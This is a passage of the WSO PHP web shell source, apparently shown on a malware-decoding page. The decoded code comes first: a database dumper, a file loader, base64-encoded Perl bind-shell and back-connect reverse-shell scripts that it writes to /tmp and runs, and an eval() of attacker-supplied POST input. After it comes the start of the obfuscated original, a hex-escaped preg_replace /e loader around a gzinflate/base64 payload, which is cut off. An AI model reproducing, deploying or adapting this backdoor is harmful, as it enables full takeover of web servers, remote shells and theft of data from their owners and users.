<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value='>>'></td>
</tr>
</table>
<script>
function st(t,l) {
document.sf.p1.value = 'select';
document.sf.p2.value = t;
if(l!=null)document.sf.p3.value = l;
document.sf.submit();
}
function is() {
for(i=0;i<document.sf.elements['tbl[]'].length;++i)
document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
$num = $db->fetch();
$num = $num['n'];
echo "<span>".$_POST['p2']."</span> ($num) ";
for($i=0;$i<($num/30);$i++)
if($i != (int)$_POST['p3'])
echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
else
echo ($i+1)," ";
if($_POST['type']=='pgsql')
$_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
$db->query(@$_POST['p3']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key => $value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
}
echo '</div>';
wsoFooter();
}
function actionNetwork() {
wsoHeader();
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w=@fopen($f,"w") or @function_exists('file_put_contents');
if($w) {
@fwrite($w,base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
}
}
echo '</div>';
wsoFooter();
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"wso_version" => VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
exit;
Did this file decode correctly?
Original Code
<?php
$auth_pass = "202cb962ac59075b964b07152d234b70";
$t = 1;
$a = "\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65";
$b = "g\x7a\x69\x6e\x66\x6c\x61\x74\x65";
$id = "\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65";
$id("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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